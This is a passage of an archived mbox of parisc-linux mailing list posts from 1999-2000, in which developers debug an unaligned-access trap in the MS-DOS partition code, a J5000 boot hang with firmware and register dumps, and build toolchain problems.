> partition code gets involved.
> 
> code 28 == "Unaligned Data Reference Trap".
> (Gee, where have I seen this before? :^(  )
> 
> IAOQ  == 0xc016939c msdos_partition+120
> 

Can you resolve that into a line of the C code ?  It looks to me like
the msdos partition code has been fixed to use get_unaligned and le*_to_cpu
so I believe this should be a genuine bug.

	Philipp Rumpf


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cross compiling glibc
Date: Fri, 14 Apr 2000 21:24:26 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20000414212426.G15697@thepuffingroup.com>
References: <Pine.LNX.4.21.0004141013240.5167-100000@sammyville.sammy.net> <200004142232.PAA20329@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618892 32323 80.91.229.3 (22 Nov 2014 01:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Fri Apr 14 18:26:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA14491
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 18:26:43 -0600
Original-Received: (qmail 27858 invoked by uid 15267); 15 Apr 2000 00:26:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27816 invoked from network); 15 Apr 2000 00:26:40 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Apr 2000 00:26:40 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id VAA30642;
	Fri, 14 Apr 2000 21:24:26 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200004142232.PAA20329@milano.cup.hp.com>; from Grant Grundler on Fri, Apr 14, 2000 at 03:32:21PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7214

On Fri, Apr 14, 2000 at 03:32:21PM -0700, Grant Grundler wrote:
> 3) I also removed "csu" from sysd-sorted directory list.
>    Mathew told me to. So I did. This has to be done *after*
>    running ./configure script.
> 
> and then the make completed.

that was more a quick hack to get you to the next level than something
i'd recommend.  the `missing callinfo' error indicates you're using
an old version of binutils.  however, the current contents of the cvs
binutils won't build a kernel which boots.  i think it's my fault and
i'm trying to fix it.


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] msdos_partion+120 == code 28
Date: Fri, 14 Apr 2000 18:23:54 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <200004150123.SAA20656@milano.cup.hp.com>
References: <20000414181623.A14133@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618892 32326 80.91.229.3 (22 Nov 2014 01:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Apr 14 19:41:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15026
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 19:41:24 -0600
Original-Received: (qmail 30627 invoked by uid 15267); 15 Apr 2000 01:41:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30619 invoked from network); 15 Apr 2000 01:41:23 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Apr 2000 01:41:23 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP id 62112E5BE
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 21:41:23 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 981B64FFD3
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 20:23:48 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id SAA20656 for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 18:23:55 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 14 Apr 2000 18:16:23 PDT."
             <20000414181623.A14133@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7215

Philipp Rumpf wrote:
> > code 28 == "Unaligned Data Reference Trap".
> > (Gee, where have I seen this before? :^(  )
> > 
> > IAOQ  == 0xc016939c msdos_partition+120
> > 
> 
> Can you resolve that into a line of the C code ?  It looks to me like
> the msdos partition code has been fixed to use get_unaligned and le*_to_cpu
> so I believe this should be a genuine bug.


0000058c <msdos_partition>:
...
 6ac:   0c 78 10 96     ldw c(sr0,r3),r22

GR 3 : c7f629be

I started looking at the code and I wasn't able to finish tracking
this down to day. Any other takers?

If I had to guess, I'd say check dereferences of nr_sects in struct
partition. But that's not obvious in msdos_partition...

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] code 28 in msdos_partition()
Date: Tue, 18 Apr 2000 13:19:29 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200004182019.NAA24003@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618893 32328 80.91.229.3 (22 Nov 2014 01:14:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Apr 18 14:19:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA17115
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Apr 2000 14:19:19 -0600
Original-Received: (qmail 18494 invoked by uid 15267); 18 Apr 2000 20:19:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18481 invoked from network); 18 Apr 2000 20:19:17 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Apr 2000 20:19:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id C5416496
	for <parisc-linux@thepuffingroup.com>; Tue, 18 Apr 2000 16:19:16 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id NAA24003 for parisc-linux@thepuffingroup.com; Tue, 18 Apr 2000 13:19:29 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7216


I figured out line 434 (of 497) fs/partitions/msdos.c
("if (!NR_SECTS(p))") is causing the code 28 trap (unaligned data
reference trap) despite the use of get_unaligned() macro. Seems
get_unaligned() just isn't supported. I tried tracking this down in
order to fix it but got distracted by another problem.
If someone feels like they want to contribute in
a small way, fixing get/put unaligned would be helpful.

The problem which distracted me was the use of generic
swap macros by get_unaligned. parisc-linux defines architecture
specific macros and I couldn't figure out why those
were NOT being used. Any takers for this too?

I'm punting for now on both problems because:
a) opportunity for someone else to contribute
b) I can work more on the HPMC problems.

thanks,
grant


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2-way j5000 hangs early
Date: Tue, 18 Apr 2000 18:01:39 -0700 (PDT)
Lines: 129
Approved: news@gmane.org
Message-ID: <200004190101.SAA24682@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618893 32330 80.91.229.3 (22 Nov 2014 01:14:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Apr 18 19:01:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA19266
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Apr 2000 19:01:29 -0600
Original-Received: (qmail 9101 invoked by uid 15267); 19 Apr 2000 01:01:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9091 invoked from network); 19 Apr 2000 01:01:28 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 19 Apr 2000 01:01:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 2CE6E37F6
	for <parisc-linux@thepuffingroup.com>; Tue, 18 Apr 2000 18:01:27 -0700 (PDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id SAA24682 for parisc-linux@thepuffingroup.com; Tue, 18 Apr 2000 18:01:39 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7217

Hi all,

I was hoping to use a j5000 to debug problems with built-in 100BT
but couldn't even "get off the ground" (so to speak). The J5000
slot 1 is on the "core I/O" bus - I wanted to monitor PCI bus activity
of "built-in" devices. I can't do that on a C3k.

The j5000 I was loaned for the next couple of days is a 2-way
machine (as opposed to a 1-way c3k I was using up to now).
No other "extras" installed in this system.
(PCX-W rev 5, my c3k is rev 4)

I'm open to ideas on what might be wrong.
Going home for today and won't be back until tomorrow afternoon.
Appended is the complete console output (ends with pagetable_init).

thanks,
grant


Firmware Version 3.5

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1999, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      440 MHz    Active                 Functional         512 kB/1 MB
      1      440 MHz    Idle                   Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:             2147483648 bytes
  Good memory required:                  0 bytes (Not Set by OS)

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         PCI7.0.0
  Keyboard path:        USB

CPU 0
WARNING:  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.

CPU 1
WARNING:  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-7a0f6c

System IP Address 15.8.80.77
Server IP Address 15.8.80.76

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@rock Tue Apr 18 17:00:37 PDT 2000
0/vmlinux 1956928 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
0/ramdisk 614400 bytes @ 0x1e4440
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 0010178c first 00100000 n 4
Segment 0 load 00100000 size 1100948 mediaptr 0x1000
Segment 1 load 0020e000 size 95400 mediaptr 0x10e000
Segment 2 load 00228000 size 55988 mediaptr 0x126000
Segment 3 load 00238000 size 8192 mediaptr 0x134000
branching to kernel entry point 0x0010178c
The Kernel has started...
Free memory starts at: 0xc02a4000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005bd0 00000491 00000000 00000002 77fc84a7 100000f0 00000008 000000b2 000000b2
vers    00000201
cpuid   00000225
CPUID vers 17 rev 5
CPU(s): 1 x PA8500 at 440.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Forte W 2-way (0) at 0xfffa0000, versions 0x5bd, 0x0, 0x4, 0x0, 0x91
8. Forte W 2-way (0) at 0xfffa2000, versions 0x5bd, 0x0, 0x4, 0x0, 0x91
9. Forte 2w Memory (1) at 0xfed10200, versions 0x88, 0x0, 0x9, 0x0, 0x0
That's a total of 9 devices.
Linux version 2.3.99-pre1 (grundler@rock) (gcc version 2.9-hppa-991112) #6 Tue Apr 18 17:00:23 PDT 2000
initrd: 00000000-00000000
pagetable_init


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2-way j5000 hangs early
Date: Tue, 18 Apr 2000 18:14:39 -0700
Lines: 85
Approved: news@gmane.org
Message-ID: <200004190114.SAA24724@milano.cup.hp.com>
References: <200004190101.SAA24682@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618893 32331 80.91.229.3 (22 Nov 2014 01:14:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Apr 18 19:14:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA19512
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Apr 2000 19:14:28 -0600
Original-Received: (qmail 16172 invoked by uid 15267); 19 Apr 2000 01:14:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16162 invoked from network); 19 Apr 2000 01:14:28 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Apr 2000 01:14:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id 1C94CEE6
	for <parisc-linux@thepuffingroup.com>; Tue, 18 Apr 2000 21:14:27 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id SAA24724 for <parisc-linux@thepuffingroup.com>; Tue, 18 Apr 2000 18:14:39 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 18 Apr 2000 18:01:39 PDT."
             <200004190101.SAA24682@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7218

Grant Grundler wrote:
> Hi all,
> 
> I was hoping to use a j5000 to debug problems with built-in 100BT
> but couldn't even "get off the ground" (so to speak).

I forgot to append the TOC output....here it is.

Grant Grundler
Unix Development Lab
+1.408.447.7253

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  ffffffffc023d000  00000000c01131dc  0000000000000000
04-07   00000000c023b300  00000000c020e1fc  0000000000000006  0000000000000004
08-11   ffffffffc0100000  00000000c023e6b2  00000000c023e6b2  ffffffffc0215000
12-15   000000000000000a  000000000000003e  000000000000003c  0000000000000007
16-19   00000000c023b300  00000000f000017c  00000000f0000174  00000000000007ab
20-23   000000000001ea80  0000000000000001  0000000000000001  000000000001eac0
24-27   00000000000007ab  0000000000000800  0000000000000040  ffffffffc020e000
28-31   0000000000000000  00000000c023b300  00000000c023b4c0  00000000c0130370

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  00000000000000c0  000000000000001f
12-15   0000000000000000  0000000000000000  0000000000103000  0000000000000000
16-19   000000458ce198af  0000000000000000  00000000c01131c0  000000008a79bfa5
20-23   0000000015240000  000000000781ea80  000000000004000a  0000000080000000
24-27   000000000021c000  000000000021c000  00000000ffffffff  00000000ffffffff
28-31   0000000000000000  0000000000000000  0000000000000000  000000000023b300
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x00000000c01131c4
CPU State                    = 0x9e000001



IIA 0xc01131c4 flush_instruction_cache+54
GR2 0xc01131dc flush_all_caches+c




-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  00000045997a6613  0000000000000000  0000000000000000
04-07   0000000000000547  fffffff0f0400008  00000000000000fa  fffffff0f0002f68
08-11   0000000000000000  0000000000000000  000000000000000a  fffffff0f0001608
12-15   00000000000000f2  0000000000000001  0000000000000001  00000000000000f3
16-19   0000000002020202  0000000000000002  fffffff0f000016c  fffffff0f04120d1
20-23   0000000000000000  fffffff0f04120d0  0000000000000000  0000000000000000
24-27   00000000000000f1  fffffff0f04120c0  fffffff0f0400880  fffffff0f0412000
28-31   0000000000000000  fffffff0f0409f30  fffffff0f0409e80  fffffffffffffff0

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   000000007fffffff  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0007ffff0007ffde  0007ffff0007ffde  0000000000000000  000000000000001e
12-15   0007ffff0007ff5e  0007ffff0007ff5e  000000f0f0003800  0000000000000000
16-19   00000045998109b2  00000000ffffffff  0000000000000794  0000000002e008a2
20-23   000000009a07c3c1  c00000007c1f00b8  0000000008000008  0000000000000000
24-27   ffffffffffffffde  ffffffffffffffde  ffffffffffffffff  ffffffffffffffde
28-31   ffffffffffffffde  ffffffffffffffde  ffffffffffffffde  ffffffffffffffde
Space Registers 0 - 7

00-03   ffffffff          ffffffff          ffffffff          ffffffff
04-07   ffffffff          ffffffff          ffffffff          ffffffff

IIA Space                    = 0x00000000ffffffff
IIA Offset                   = 0x0000000000000798
CPU State                    = 0x9e000001



From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2-way j5000 hangs early
Date: Wed, 19 Apr 2000 08:42:08 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <200004191542.IAA25136@milano.cup.hp.com>
References: <200004190101.SAA24682@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618894 32334 80.91.229.3 (22 Nov 2014 01:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Apr 19 09:42:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26375
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Apr 2000 09:42:06 -0600
Original-Received: (qmail 17799 invoked by uid 15267); 19 Apr 2000 15:42:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17792 invoked from network); 19 Apr 2000 15:42:06 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 19 Apr 2000 15:42:06 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 45E537F9
	for <parisc-linux@thepuffingroup.com>; Wed, 19 Apr 2000 08:41:56 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id IAA25136 for <parisc-linux@thepuffingroup.com>; Wed, 19 Apr 2000 08:42:08 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 18 Apr 2000 18:01:39 PDT."
             <200004190101.SAA24682@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7219

Grant Grundler wrote:
> The j5000 I was loaned for the next couple of days is a 2-way
> machine (as opposed to a 1-way c3k I was using up to now).

I deconfigured one of the processors this morning
and it hangs in the same way. I'll start trying
to narrow down where it "hangs" this afternoon.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] memory layout
Date: Wed, 17 Mar 1999 23:11:25 -0500
Organization: mozilla.org diplomatic corps
Lines: 15
Approved: news@gmane.org
Message-ID: <36F07CED.AC742994@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618894 32337 80.91.229.3 (22 Nov 2014 01:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:54 +0000 (UTC)
To: hppa-linux@puffingroup.com
Original-X-From: shaver@netscape.com  Wed Mar 17 23:10:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id XAA07779
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 23:10:25 -0500
Original-Received: (qmail 24599 invoked by uid 15267); 18 Mar 1999 04:09:27 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 24592 invoked from network); 18 Mar 1999 04:09:27 -0000
Original-Received: from burrow.puffingroup.com (root@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 04:09:27 -0000
Original-Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46])
	by burrow.puffingroup.com (8.8.7/8.8.7) with ESMTP id AAA00847
	for <hppa-linux@puffingroup.com>; Thu, 18 Mar 1999 00:15:14 -0500
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id UAA01008
	for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999 20:09:30 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8RVJW00.BKS for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999
          20:09:32 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7220

rd.c:467: `KERNEL_DS' undeclared (first use in this function)
mmap.c:361: `TASK_UNMAPPED_BASE' undeclared (first use in this function)

It sorta begs the question: what is our memory layout going to look
like?  What goes where?  I'll pore over my PA-RISC book tonight looking
for clues, but I doubt that'll be enough.

What kind of memory layout does HP-UX use, if I might be so bold as to
ask?

Mike

-- 
305756.61 259655.94


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 in msdos_partition()
Date: Wed, 19 Apr 2000 13:22:32 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <E12i03U-000281-00@endor.fc.hp.com>
References: <200004182019.NAA24003@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618894 32338 80.91.229.3 (22 Nov 2014 01:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: bame@endor.fc.hp.com  Wed Apr 19 13:22:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA28121
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Apr 2000 13:22:34 -0600
Original-Received: (qmail 1932 invoked by uid 15267); 19 Apr 2000 19:22:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1925 invoked from network); 19 Apr 2000 19:22:34 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Apr 2000 19:22:34 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel2.hp.com (Postfix) with ESMTP id 19F13571
	for <parisc-linux@thepuffingroup.com>; Wed, 19 Apr 2000 15:22:33 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12i03U-000281-00; Wed, 19 Apr 2000 13:22:32 -0600
In-reply-to: Your message of "Tue, 18 Apr 2000 13:19:29 PDT."
             <200004182019.NAA24003@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7221

= 
= I figured out line 434 (of 497) fs/partitions/msdos.c
= ("if (!NR_SECTS(p))") is causing the code 28 trap (unaligned data
= reference trap) despite the use of get_unaligned() macro. Seems
= get_unaligned() just isn't supported. I tried tracking this down in
= order to fix it but got distracted by another problem.
= If someone feels like they want to contribute in
= a small way, fixing get/put unaligned would be helpful.

I'm interested in looking at this problem and seeing disks work in
general.  But I can't help since I don't have a box which seems to be
able to find SCSI drives (tried 712, b180, c360, and c3k).  Can you
give me a clue how to reproduce what you're seeing?

With my limited experience with Linux disks and software, the
partition table access is usually aligned right anyway, so I think
alignment traps here should be rare.

= The problem which distracted me was the use of generic
= swap macros by get_unaligned. parisc-linux defines architecture
= specific macros and I couldn't figure out why those
= were NOT being used. Any takers for this too?

Are you asking about le32_to_cpu() versus __le32_to_cpu()?  (Not that
I have an answer -- I'm just wondering if that's the question)

	-Paul Bame


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
